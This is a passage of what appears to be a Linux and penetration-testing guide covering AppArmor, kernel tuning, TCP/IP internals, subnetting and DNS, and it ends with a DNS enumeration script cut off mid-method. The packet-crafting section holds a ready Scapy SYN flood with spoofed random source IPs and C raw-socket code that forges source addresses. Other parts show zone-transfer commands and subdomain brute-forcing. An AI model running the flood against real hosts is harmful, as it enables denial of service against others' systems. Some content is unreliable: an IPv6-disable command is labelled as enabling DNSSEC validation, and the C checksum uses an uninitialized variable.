Sub-profiles for specific operations\n\n**Basic AppArmor Commands**:\n\n```bash\n# Check status\naa-status\napparmor_status\n\n# List profiles\naa-status | grep profiles\nls /etc/apparmor.d/\n\n# Set mode\naa-enforce /path/to/bin\naa-complain /path/to/bin\naa-disable /path/to/bin\n```\n\n**Viewing AppArmor Logs**:\n\n```bash\n# Check denials\ngrep \"apparmor=\" /var/log/syslog\ngrep \"DENIED\" /var/log/syslog | grep \"profile=\"\n\n# Generate reports\naa-logprof  # Interactive profile update\naa-audit    # Enable audit for profile\n```\n\n**Creating AppArmor Profiles**:\n\n```bash\n# Generate profile automatically\naa-genprof /usr/bin/myapp\n\n# Manual profile creation\ncat &gt; /etc/apparmor.d/usr.bin.myapp &lt;&lt; EOF\n#include \n\n/usr/bin/myapp {\n    #include \n    #include \n    \n    # Capabilities\n    capability net_bind_service,\n    capability setuid,\n    \n    # Filesystem access\n    /etc/myapp/config r,\n    /var/log/myapp.log w,\n    /var/lib/myapp/** rw,\n    \n    # Network\n    network inet stream,\n    network inet6 stream,\n    \n    # Deny sensitive files\n    deny /etc/shadow r,\n    deny /etc/security/** r,\n    \n    # Execute\n    /usr/bin/myapp mr,\n    /bin/bash ix,\n}\nEOF\n\n# Load profile\napparmor_parser -r /etc/apparmor.d/usr.bin.myapp\n\n# Set to enforce\naa-enforce /usr/bin/myapp\n```\n\n**Profile Abstractions**:\n\n```bash\n# Common abstractions\n#include           # Basic system access\n#include    # DNS and network\n#include  # PAM and auth\n#include         # SSL certificates\n#include             # PHP includes\n#include           # MySQL client\n\n# View available abstractions\nls /etc/apparmor.d/abstractions/\n```\n\n#### 6.6.3 SELinux vs AppArmor Comparison\n\n| Feature | SELinux | AppArmor |\n|---------|---------|----------|\n| Complexity | Complex | Simpler |\n| Default on | RHEL/CentOS/Fedora | Debian/Ubuntu/Kali |\n| Policy type | Type enforcement | Path-based |\n| Learning curve | Steep | Moderate |\n| Flexibility | Very high | Moderate |\n| Performance | Slight overhead | Minimal overhead |\n| Administration | semanage, audit2allow | aa-* tools |\n\n**Choosing Between Them**:\n\n- **AppArmor** for most Debian-based systems, easier to learn and maintain\n- **SELinux** for enterprise environments, complex applications, multi-level security\n\n### 6.7 Kernel Tuning\n\nKernel tuning optimizes system performance for specific workloads and use cases.\n\n#### 6.7.1 Kernel Parameters\n\n**Viewing and Modifying Parameters**:\n\n```bash\n# List all parameters\nsysctl -a\n\n# View specific parameter\nsysctl net.ipv4.tcp_tw_reuse\ncat /proc/sys/net/ipv4/tcp_tw_reuse\n\n# Set temporarily\nsysctl -w net.ipv4.tcp_tw_reuse=1\necho 1 &gt; /proc/sys/net/ipv4/tcp_tw_reuse\n\n# Set permanently\necho \"net.ipv4.tcp_tw_reuse = 1\" &gt;&gt; /etc/sysctl.conf\necho \"net.ipv4.tcp_tw_reuse = 1\" &gt; /etc/sysctl.d/99-network.conf\n```\n\n#### 6.7.2 Network Performance Tuning\n\n**TCP Stack Optimization**:\n\n```bash\n# /etc/sysctl.d/99-network-performance.conf\n\n# Increase TCP buffer sizes\nnet.core.rmem_max = 134217728\nnet.core.wmem_max = 134217728\nnet.ipv4.tcp_rmem = 4096 87380 134217728\nnet.ipv4.tcp_wmem = 4096 65536 134217728\n\n# Increase queue lengths\nnet.core.netdev_max_backlog = 5000\nnet.ipv4.tcp_max_syn_backlog = 4096\nnet.core.somaxconn = 1024\n\n# TCP optimization\nnet.ipv4.tcp_slow_start_after_idle = 0\nnet.ipv4.tcp_timestamps = 1\nnet.ipv4.tcp_sack = 1\nnet.ipv4.tcp_window_scaling = 1\nnet.ipv4.tcp_congestion_control = cubic  # or bbr for newer kernels\n\n# For high-speed networks\nnet.core.rmem_default = 262144\nnet.core.wmem_default = 262144\nnet.ipv4.tcp_mem = 16777216 16777216 16777216\n\n# Fast recycling (use with caution)\nnet.ipv4.tcp_tw_reuse = 1\nnet.ipv4.tcp_fin_timeout = 30\n```\n\n**BBR Congestion Control**:\n\n```bash\n# Enable BBR (requires kernel 4.9+)\nmodprobe tcp_bbr\necho \"tcp_bbr\" &gt;&gt; /etc/modules-load.d/modules.conf\nsysctl -w net.ipv4.tcp_congestion_control=bbr\nsysctl -w net.core.default_qdisc=fq\n\n# Verify\nsysctl net.ipv4.tcp_congestion_control\nlsmod | grep bbr\n```\n\n#### 6.7.3 Memory Management\n\n**Virtual Memory Tuning**:\n\n```bash\n# /etc/sysctl.d/99-memory.conf\n\n# Swappiness (0-100, lower = less swapping)\nvm.swappiness = 10\n\n# Cache pressure (0-100, higher = more aggressive reclaim)\nvm.vfs_cache_pressure = 50\n\n# Dirty page ratio (percentage of memory)\nvm.dirty_ratio = 30\nvm.dirty_background_ratio = 5\n\n# Overcommit memory (0=heuristic, 1=always, 2=never)\nvm.overcommit_memory = 1\nvm.overcommit_ratio = 50\n\n# Min free memory (in pages)\nvm.min_free_kbytes = 67584\n\n# OOM killer adjustment\nvm.panic_on_oom = 0\nvm.oom_kill_allocating_task = 0\n```\n\n**Huge Pages for Database Workloads**:\n\n```bash\n# Enable Transparent Huge Pages\necho always &gt; /sys/kernel/mm/transparent_hugepage/enabled\n\n# Configure huge pages\necho 512 &gt; /proc/sys/vm/nr_hugepages\n\n# Check usage\ngrep HugePages /proc/meminfo\ncat /proc/meminfo | grep Huge\n```\n\n#### 6.7.4 Filesystem and I/O Tuning\n\n**I/O Scheduler Selection**:\n\n```bash\n# Check current scheduler\ncat /sys/block/sda/queue/scheduler\n\n# Set scheduler (noop, deadline, cfq)\necho deadline &gt; /sys/block/sda/queue/scheduler\n\n# Persistent via udev\ncat &gt; /etc/udev/rules.d/60-iosched.rules &lt;&lt; EOF\nACTION==\"add|change\", KERNEL==\"sd*\", ATTR{queue/scheduler}=\"deadline\"\nEOF\n```\n\n**Filesystem Mount Options for Performance**:\n\n```bash\n# /etc/fstab with performance options\n/dev/sda1 / ext4 defaults,noatime,nodiratime,barrier=0,data=writeback 0 1\n\n# noatime - Don't update access times\n# nodiratime - Don't update directory access times\n# barrier=0 - Disable write barriers (risk of corruption on power loss)\n# data=writeback - Faster write mode\n```\n\n**I/O Limits and Priority**:\n\n```bash\n# Set I/O priority with ionice\nionice -c 2 -n 0 -p $$  # Best effort, highest priority\nionice -c 3 -p $$        # Idle priority\n\n# Set CPU affinity\ntaskset -c 0,1 command\ntaskset -p 1234          # Show affinity of PID 1234\n```\n\n#### 6.7.5 Kernel Modules\n\n**Module Management**:\n\n```bash\n# List modules\nlsmod\nmodprobe -l\n\n# Load module\nmodprobe module_name\ninsmod /path/to/module.ko\n\n# Remove module\nmodprobe -r module_name\nrmmod module_name\n\n# Module parameters\nmodinfo module_name\nmodprobe module_name param_name=value\necho \"options module_name param=value\" &gt;&gt; /etc/modprobe.d/module.conf\n```\n\n**Blacklisting Modules**:\n\n```bash\n# Prevent module from loading\ncat &gt; /etc/modprobe.d/blacklist.conf &lt;&lt; EOF\nblacklist module_name\ninstall module_name /bin/false\nEOF\n```\n\n#### 6.7.6 Performance Monitoring\n\n**Real-time Monitoring Tools**:\n\n```bash\n# CPU and memory\nhtop\natop\nglances\n\n# I/O monitoring\niotop\niostat -x 1\n\n# Network monitoring\nnethogs\niftop\nbmon\n\n# Comprehensive monitoring\ndstat\nsar\n```\n\n**Performance Profiling**:\n\n```bash\n# perf tools\nperf top\nperf record -a sleep 60\nperf report\n\n# strace for system calls\nstrace -c -p 1234\nstrace -e network -p 1234\n\n# ltrace for library calls\nltrace -c command\n\n# SystemTap (if installed)\nstap -e 'probe syscall.open { printf(\"%s(%d) opens %s\\n\", execname(), pid(), filename) }'\n```\n\n---\n\n## Chapter 7 \u2014 Networking Deep Dive\n\n### 7.1 TCP/IP Stack Internals\n\nUnderstanding the TCP/IP stack is fundamental for network analysis, exploitation, and defense.\n\n#### 7.1.1 The OSI Model and TCP/IP Model\n\n**OSI Model Layers**:\n1. **Physical**: Bits, voltage, cables\n2. **Data Link**: Frames, MAC addresses, Ethernet\n3. **Network**: Packets, IP addressing, routing\n4. **Transport**: Segments, TCP/UDP, ports\n5. **Session**: Session management\n6. **Presentation**: Data encoding, encryption\n7. **Application**: HTTP, FTP, DNS, SMTP\n\n**TCP/IP Model (simplified)**:\n1. **Network Interface**: Physical + Data Link\n2. **Internet**: IP, ICMP, ARP\n3. **Transport**: TCP, UDP\n4. **Application**: All upper layers\n\n#### 7.1.2 Ethernet and Data Link Layer\n\n**Ethernet Frame Structure**:\n\n```\nPreamble (7 bytes) | SFD (1) | Destination MAC (6) | Source MAC (6) | Type/Length (2) | Payload (46-1500) | FCS (4)\n```\n\n**MAC Addresses**:\n- 48-bit unique identifier\n- First 24 bits: OUI (Organizationally Unique Identifier)\n- Last 24 bits: NIC-specific\n- Broadcast: FF:FF:FF:FF:FF:FF\n- Multicast: First bit of first byte is 1\n\n**Viewing MAC addresses**:\n\n```bash\n# Show MAC addresses\nip link show\ncat /sys/class/net/eth0/address\n\n# ARP cache\narp -n\nip neigh show\n```\n\n#### 7.1.3 Internet Layer (IP)\n\n**IPv4 Packet Header**:\n\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|Version|  IHL  |Type of Service|          Total Length         |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|         Identification        |Flags|      Fragment Offset    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|  Time to Live |    Protocol   |         Header Checksum       |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                       Source Address                          |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Destination Address                        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Options                    |    Padding    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n**IP Fragmentation**:\n\n```bash\n# View fragmentation settings\nsysctl net.ipv4.ipfrag_time\nsysctl net.ipv4.ipfrag_high_thresh\n\n# Send fragmented packets with hping3\nhping3 -c 1 -d 3000 -f target.com\n\n# Capture and analyze fragments\ntcpdump -i eth0 -v 'ip[6] &amp; 0x20 != 0'  # Show fragments\n```\n\n**IP Options and Security**:\n\n```bash\n# Disable IP forwarding (unless router)\nsysctl -w net.ipv4.ip_forward=0\n\n# Disable source routing\nsysctl -w net.ipv4.conf.all.accept_source_route=0\nsysctl -w net.ipv6.conf.all.accept_source_route=0\n```\n\n#### 7.1.4 Transport Layer (TCP/UDP)\n\n**TCP Segment Structure**:\n\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|          Source Port          |       Destination Port        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                        Sequence Number                        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                     Acknowledgment Number                      |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|  Data |       |C|E|U|A|P|R|S|F|                               |\n| Offset| Res.  |W|C|R|C|S|S|Y|I|            Window             |\n|       |       |R|E|G|K|H|T|N|N|                               |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|           Checksum            |         Urgent Pointer        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Options                    |    Padding    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n**TCP Flags**:\n- **SYN**: Synchronize (connection establishment)\n- **ACK**: Acknowledgment\n- **FIN**: Finish (graceful close)\n- **RST**: Reset (abort connection)\n- **PSH**: Push (send immediately)\n- **URG**: Urgent\n- **ECE**: ECN-Echo\n- **CWR**: Congestion Window Reduced\n\n**TCP State Diagram**:\n\n```\nCLOSED\n   | SYN\n   v\nLISTEN --&gt; SYN_RCVD --&gt; ESTABLISHED\n   |          |              |\n   | SYN      | ACK          | FIN\n   v          v              v\nSYN_SENT   ESTABLISHED    FIN_WAIT_1 --&gt; FIN_WAIT_2 --&gt; TIME_WAIT\n                             |              |              |\n                             | FIN+ACK      | FIN          | Timeout\n                             v              v              v\n                          CLOSING       CLOSING        CLOSED\n```\n\n**TCP Connection Analysis**:\n\n```bash\n# View TCP connections\nnetstat -tan\nss -tan\n\n# Follow TCP stream with tcpflow\ntcpflow -i eth0 port 80\n\n# Analyze TCP options with scapy\nfrom scapy.all import *\npacket = IP(dst=\"google.com\")/TCP(dport=80, flags=\"S\")\nresponse = sr1(packet, timeout=2)\nresponse.show()\n```\n\n**UDP Header**:\n\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|          Source Port          |       Destination Port        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|            Length             |           Checksum            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n**TCP vs UDP Comparison**:\n\n| Feature | TCP | UDP |\n|---------|-----|-----|\n| Connection | Connection-oriented | Connectionless |\n| Reliability | Reliable | Unreliable |\n| Ordering | In-order delivery | No ordering |\n| Flow control | Yes | No |\n| Congestion control | Yes | No |\n| Overhead | Higher | Lower |\n| Use cases | Web, email, SSH | DNS, VoIP, streaming |\n\n#### 7.1.5 Raw Sockets and Packet Crafting\n\n**Creating Custom Packets with Scapy**:\n\n```python\n#!/usr/bin/env python3\nfrom scapy.all import *\n\n# Create custom TCP packet\nip = IP(src=\"192.168.1.100\", dst=\"192.168.1.1\")\ntcp = TCP(sport=12345, dport=80, flags=\"S\", seq=1000)\npacket = ip/tcp\n\n# Send and receive\nresponse = sr1(packet, timeout=2)\nif response:\n    response.show()\n\n# SYN flood (educational only!)\ndef syn_flood(target, port, count=100):\n    for i in range(count):\n        ip = IP(src=RandIP(), dst=target)\n        tcp = TCP(sport=RandShort(), dport=port, flags=\"S\")\n        send(ip/tcp, verbose=0)\n    print(f\"Sent {count} SYN packets to {target}:{port}\")\n\n# Craft ICMP packet\nicmp = IP(dst=\"8.8.8.8\")/ICMP(type=8)/\"Hello\"\nreply = sr1(icmp, timeout=2)\nprint(f\"Reply from {reply.src}\")\n```\n\n**Using raw sockets in C**:\n\n```c\n#include \n#include \n#include \n#include \n#include \n\nunsigned short checksum(unsigned short *ptr, int nbytes) {\n    long sum;\n    unsigned short oddbyte;\n    \n    while (nbytes &gt; 1) {\n        sum += *ptr++;\n        nbytes -= 2;\n    }\n    if (nbytes == 1) {\n        oddbyte = 0;\n        *((unsigned char *)&amp;oddbyte) = *(unsigned char *)ptr;\n        sum += oddbyte;\n    }\n    sum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);\n    sum += (sum &gt;&gt; 16);\n    return (unsigned short)~sum;\n}\n\nint main() {\n    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);\n    if (sock &lt; 0) {\n        perror(\"socket\");\n        return 1;\n    }\n    \n    char packet[4096];\n    struct iphdr *ip = (struct iphdr *)packet;\n    struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));\n    \n    // Fill IP header\n    ip-&gt;ihl = 5;\n    ip-&gt;version = 4;\n    ip-&gt;tos = 0;\n    ip-&gt;tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);\n    ip-&gt;id = htonl(54321);\n    ip-&gt;frag_off = 0;\n    ip-&gt;ttl = 255;\n    ip-&gt;protocol = IPPROTO_TCP;\n    ip-&gt;saddr = inet_addr(\"1.2.3.4\");\n    ip-&gt;daddr = inet_addr(\"192.168.1.1\");\n    ip-&gt;check = checksum((unsigned short *)ip, sizeof(struct iphdr));\n    \n    // Fill TCP header\n    tcp-&gt;source = htons(1234);\n    tcp-&gt;dest = htons(80);\n    tcp-&gt;seq = htonl(1);\n    tcp-&gt;ack_seq = 0;\n    tcp-&gt;doff = 5;\n    tcp-&gt;syn = 1;\n    tcp-&gt;window = htons(5840);\n    tcp-&gt;check = 0;\n    \n    struct sockaddr_in dest;\n    dest.sin_family = AF_INET;\n    dest.sin_addr.s_addr = ip-&gt;daddr;\n    \n    sendto(sock, packet, ip-&gt;tot_len, 0, (struct sockaddr *)&amp;dest, sizeof(dest));\n    printf(\"SYN packet sent\\n\");\n    \n    return 0;\n}\n```\n\n### 7.2 Subnetting &amp; CIDR\n\nUnderstanding IP addressing and subnetting is crucial for network design and penetration testing.\n\n#### 7.2.1 Binary and IP Addressing\n\n**Binary to Decimal Conversion**:\n\n```\n128 64 32 16 8 4 2 1\n 1  1  1  1 1 1 1 1 = 255\n 1  1  0  0 0 0 0 0 = 192\n 1  0  1  0 1 0 1 0 = 170\n 0  0  0  0 0 0 0 0 = 0\n```\n\n**IP Address Classes** (historical):\n\n| Class | First Octet | Network Bits | Host Bits | Default Mask |\n|-------|-------------|--------------|-----------|--------------|\n| A | 1-126 | 8 | 24 | 255.0.0.0 (/8) |\n| B | 128-191 | 16 | 16 | 255.255.0.0 (/16) |\n| C | 192-223 | 24 | 8 | 255.255.255.0 (/24) |\n| D | 224-239 | Multicast | - | - |\n| E | 240-255 | Experimental | - | - |\n\n**CIDR (Classless Inter-Domain Routing)**:\n\nCIDR notation: `192.168.1.0/24` means:\n- Network: 192.168.1.0\n- Netmask: 255.255.255.0\n- Number of hosts: 254 (2^(32-24) - 2)\n\n#### 7.2.2 Subnet Calculation\n\n**Subnet Mask Reference**:\n\n```\n/32: 255.255.255.255 - 1 host\n/31: 255.255.255.254 - 2 hosts (point-to-point)\n/30: 255.255.255.252 - 4 hosts (2 usable)\n/29: 255.255.255.248 - 8 hosts (6 usable)\n/28: 255.255.255.240 - 16 hosts (14 usable)\n/27: 255.255.255.224 - 32 hosts (30 usable)\n/26: 255.255.255.192 - 64 hosts (62 usable)\n/25: 255.255.255.128 - 128 hosts (126 usable)\n/24: 255.255.255.0   - 256 hosts (254 usable)\n/23: 255.255.254.0   - 512 hosts (510 usable)\n/22: 255.255.252.0   - 1024 hosts (1022 usable)\n/21: 255.255.248.0   - 2048 hosts (2046 usable)\n/20: 255.255.240.0   - 4096 hosts (4094 usable)\n/19: 255.255.224.0   - 8192 hosts (8190 usable)\n/18: 255.255.192.0   - 16384 hosts (16382 usable)\n/17: 255.255.128.0   - 32768 hosts (32766 usable)\n/16: 255.255.0.0     - 65536 hosts (65534 usable)\n```\n\n**Subnet Calculation Script**:\n\n```python\n#!/usr/bin/env python3\n# subnet_calculator.py\n\nimport ipaddress\nimport sys\n\ndef calculate_subnet(network_str):\n    try:\n        network = ipaddress.ip_network(network_str, strict=False)\n        \n        print(f\"Network: {network.network_address}\")\n        print(f\"Netmask: {network.netmask}\")\n        print(f\"CIDR: /{network.prefixlen}\")\n        print(f\"Broadcast: {network.broadcast_address}\")\n        print(f\"Number of hosts: {network.num_addresses}\")\n        print(f\"Usable hosts: {network.num_addresses - 2}\")\n        print(f\"First usable: {list(network.hosts())[0] if network.num_addresses &gt; 2 else 'N/A'}\")\n        print(f\"Last usable: {list(network.hosts())[-1] if network.num_addresses &gt; 2 else 'N/A'}\")\n        \n        # Wildcard mask for ACLs\n        wildcard = ipaddress.IPv4Address(int(network.netmask) ^ 0xFFFFFFFF)\n        print(f\"Wildcard mask: {wildcard}\")\n        \n        # Binary representation\n        ip_int = int(network.network_address)\n        print(f\"Binary: {bin(ip_int)[2:].zfill(32)}\")\n        \n        # Subnet information\n        print(f\"\\nSubnet Information:\")\n        print(f\"Network bits: {network.prefixlen}\")\n        print(f\"Host bits: {32 - network.prefixlen}\")\n        \n        # Possible subnets\n        if network.prefixlen &lt; 30:\n            smaller = network.prefixlen + 2\n            print(f\"\\nPossible smaller subnets (/{(network.prefixlen + 2) if network.prefixlen + 2 &lt;= 30 else 'N/A'}):\")\n            for i, subnet in enumerate(network.subnets(new_prefix=min(32, network.prefixlen + 2))):\n                if i &gt;= 4:\n                    print(f\"  ... and more\")\n                    break\n                print(f\"  {subnet}\")\n                \n    except ValueError as e:\n        print(f\"Error: {e}\")\n\ndef supernet_calc(networks):\n    \"\"\"Calculate supernet of multiple networks\"\"\"\n    try:\n        nets = [ipaddress.ip_network(n) for n in networks]\n        supernet = ipaddress.collapse_addresses(nets)\n        print(f\"Supernet(s):\")\n        for net in supernet:\n            print(f\"  {net}\")\n    except Exception as e:\n        print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: subnet_calculator.py  [network2 ...]\")\n        print(\"Example: subnet_calculator.py 192.168.1.0/24\")\n        sys.exit(1)\n    \n    if len(sys.argv) == 2:\n        calculate_subnet(sys.argv[1])\n    else:\n        supernet_calc(sys.argv[1:])\n```\n\n**VLSM (Variable Length Subnet Mask) Example**:\n\n```\nNetwork: 192.168.1.0/24\nRequirements:\n- Subnet A: 50 hosts\n- Subnet B: 30 hosts\n- Subnet C: 10 hosts\n- Subnet D: 2 hosts (point-to-point)\n\nCalculations:\n- Subnet A: /26 (64 addresses) - 192.168.1.0/26\n- Subnet B: /27 (32 addresses) - 192.168.1.64/27\n- Subnet C: /28 (16 addresses) - 192.168.1.96/28\n- Subnet D: /30 (4 addresses)  - 192.168.1.112/30\n- Remaining: 192.168.1.116/30, etc.\n```\n\n#### 7.2.3 Subnetting Tools\n\n**Command-line subnet calculation**:\n\n```bash\n# Using ipcalc\napt install ipcalc\nipcalc 192.168.1.0/24\nipcalc 10.0.0.0/8 255.255.240.0\n\n# Using sipcalc\napt install sipcalc\nsipcalc 192.168.1.0/24\n\n# Using nmap\nnmap -sL 192.168.1.0/24  # List targets\n```\n\n**Network scanning with subnet awareness**:\n\n```bash\n#!/bin/bash\n# scan_subnet.sh\n\nsubnet=$1\n\nif [ -z \"$subnet\" ]; then\n    echo \"Usage: $0 \"\n    echo \"Example: $0 192.168.1.0/24\"\n    exit 1\nfi\n\n# Get network information\nnetwork=$(ipcalc -n $subnet | cut -d= -f2)\nnetmask=$(ipcalc -m $subnet | cut -d= -f2)\nbroadcast=$(ipcalc -b $subnet | cut -d= -f2)\n\necho \"Scanning subnet: $subnet\"\necho \"Network: $network\"\necho \"Netmask: $netmask\"\necho \"Broadcast: $broadcast\"\necho \"----------------------------------------\"\n\n# Ping sweep\nfor ip in $(nmap -sL $subnet | grep \"Nmap scan\" | awk '{print $5}' | grep -v \"$broadcast\" | grep -v \"$network\"); do\n    ping -c 1 -W 1 $ip &gt;/dev/null 2&gt;&amp;1\n    if [ $? -eq 0 ]; then\n        echo \"Host $ip is UP\"\n    fi\ndone\n```\n\n### 7.3 DNS Internals\n\nThe Domain Name System is critical for internet functionality and a common target for attacks.\n\n#### 7.3.1 DNS Hierarchy and Architecture\n\n**DNS Hierarchy**:\n\n```\nRoot (.)\n\u251c\u2500\u2500 com (TLD)\n\u2502   \u251c\u2500\u2500 example.com\n\u2502   \u2502   \u251c\u2500\u2500 www.example.com\n\u2502   \u2502   \u2514\u2500\u2500 mail.example.com\n\u2502   \u2514\u2500\u2500 google.com\n\u251c\u2500\u2500 org (TLD)\n\u251c\u2500\u2500 net (TLD)\n\u2514\u2500\u2500 country codes (us, uk, de, etc.)\n```\n\n**DNS Server Types**:\n- **Root servers**: 13 logical root servers worldwide\n- **TLD servers**: Manage top-level domains (.com, .org, etc.)\n- **Authoritative servers**: Provide answers for specific domains\n- **Recursive resolvers**: Perform queries on behalf of clients\n- **Caching servers**: Store results temporarily\n\n#### 7.3.2 DNS Record Types\n\n**Common Record Types**:\n\n```bash\n# A - IPv4 address\nexample.com. 3600 IN A 192.168.1.10\n\n# AAAA - IPv6 address\nexample.com. 3600 IN AAAA 2001:db8::1\n\n# CNAME - Canonical name (alias)\nwww.example.com. 3600 IN CNAME example.com.\n\n# MX - Mail exchange\nexample.com. 3600 IN MX 10 mail.example.com.\n\n# NS - Name server\nexample.com. 3600 IN NS ns1.example.com.\n\n# PTR - Pointer (reverse DNS)\n1.10.168.192.in-addr.arpa. 3600 IN PTR example.com.\n\n# SOA - Start of Authority\nexample.com. 3600 IN SOA ns1.example.com. admin.example.com. (\n    2024010101 ; serial\n    7200       ; refresh\n    3600       ; retry\n    86400      ; expire\n    3600       ; minimum TTL\n)\n\n# TXT - Text record\nexample.com. 3600 IN TXT \"v=spf1 mx ~all\"\n\n# SRV - Service record\n_sip._tcp.example.com. 3600 IN SRV 10 5 5060 sipserver.example.com.\n\n# CAA - Certification Authority Authorization\nexample.com. 3600 IN CAA 0 issue \"letsencrypt.org\"\n```\n\n#### 7.3.3 DNS Resolution Process\n\n**Recursive Query Flow**:\n\n```\n1. Client queries resolver for www.example.com\n2. Resolver queries root server for .com\n3. Root server refers to .com TLD servers\n4. Resolver queries .com TLD server for example.com\n5. .com TLD server refers to example.com nameservers\n6. Resolver queries example.com authoritative server\n7. Authoritative server returns A record for www\n8. Resolver caches result and returns to client\n```\n\n**DNS Query Types**:\n- **Recursive**: Resolver performs full resolution\n- **Iterative**: Server returns referrals\n- **Non-recursive**: Server returns cached or authoritative answer\n\n**DNS Debugging Tools**:\n\n```bash\n# dig (domain information groper)\ndig example.com\ndig example.com A\ndig example.com MX\ndig +trace example.com  # Show full resolution path\ndig @8.8.8.8 example.com  # Query specific resolver\n\n# nslookup\nnslookup example.com\nnslookup -type=MX example.com\nnslookup 8.8.8.8  # Reverse lookup\n\n# host\nhost example.com\nhost -t AAAA example.com\nhost -l example.com  # Zone transfer (if allowed)\n\n# DNS zone transfer\ndig axfr @ns1.example.com example.com\nhost -l example.com ns1.example.com\n```\n\n#### 7.3.4 DNS Security\n\n**DNSSEC (DNS Security Extensions)**:\n\n```bash\n# Check DNSSEC status\ndig +dnssec example.com\ndelv example.com  # DNSSEC validator\n\n# Verify with DNSViz\n# https://dnsviz.net/\n```\n\n**DNS over HTTPS/TLS**:\n\n```bash\n# Using systemd-resolved\nsystemctl enable systemd-resolved\nsystemctl start systemd-resolved\n\n# /etc/systemd/resolved.conf\n[Resolve]\nDNS=9.9.9.9#dns.quad9.net 8.8.8.8#dns.google\nDNSOverTLS=yes\nDNSSEC=yes\n\n# Test\nresolvectl query example.com\nresolvectl statistics\n```\n\n**DNS Cache Poisoning Prevention**:\n\n```bash\n# Enable DNSSEC validation\nsysctl -w net.ipv6.conf.all.disable_ipv6=1\n\n# Use secure resolvers\necho \"nameserver 9.9.9.9\" &gt; /etc/resolv.conf  # Quad9\necho \"nameserver 1.1.1.1\" &gt;&gt; /etc/resolv.conf  # Cloudflare\n\n# Randomize source ports (modern resolvers do this)\nsysctl -w net.ipv4.ip_local_port_range=\"32768 60999\"\n```\n\n#### 7.3.5 DNS in Penetration Testing\n\n**DNS Enumeration Script**:\n\n```python\n#!/usr/bin/env python3\n# dns_enum.py\n\nimport dns.resolver\nimport dns.zone\nimport dns.query\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\n\nclass DNSEnumerator:\n    def __init__(self, domain, dns_server='8.8.8.8'):\n        self.domain = domain\n        self.resolver = dns.resolver.Resolver()\n        self.resolver.nameservers = [dns_server]\n        self.resolver.timeout = 2\n        self.resolver.lifetime = 2\n        \n    def query_record(self, record_type):\n        try:\n            answers = self.resolver.resolve(self.domain, record_type)\n            return [str(r) for r in answers]\n        except Exception as e:\n            return []\n    \n    def enumerate_records(self):\n        record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'PTR', 'SRV']\n        \n        print(f\"DNS Enumeration for {self.domain}\")\n        print(\"=\" * 50)\n        \n        for rtype in record_types:\n            records = self.query_record(rtype)\n            if records:\n                print(f\"\\n{rtype} Records:\")\n                for record in records:\n                    print(f\"  {record}\")\n    \n    def brute_force_subdomains(self, wordlist_file):\n        print(f\"\\nBrute-forcing subdomains of {self.domain}\")\n        \n        try:\n            with open(wordlist_file, 'r') as f:\n                subdomains = [line.strip() for line in f]\n        except FileNotFoundError:\n            print(f\"Wordlist not found: {wordlist_file}\")\n            return\n        \n        found = []\n        \n        def check_subdomain(sub):\n            try:\n                target = f\"{sub}.{self.domain}\"\n                answers = self.resolver.resolve(target, 'A')\n                if answers:\n                    ip = str(answers[0])\n                    print(f\"Found: {target} -&gt; {ip}\")\n                    return (target, ip)\n            except:\n                pass\n            return None\n        \n        with ThreadPoolExecutor(max_workers=20) as executor:\n            results = executor.map(check_subdomain, subdomains)\n            found = [r for r in results if r]\n        \n        print(f\"\\nFound {len(found)} subdomains\")\n        return found\n    \n    def 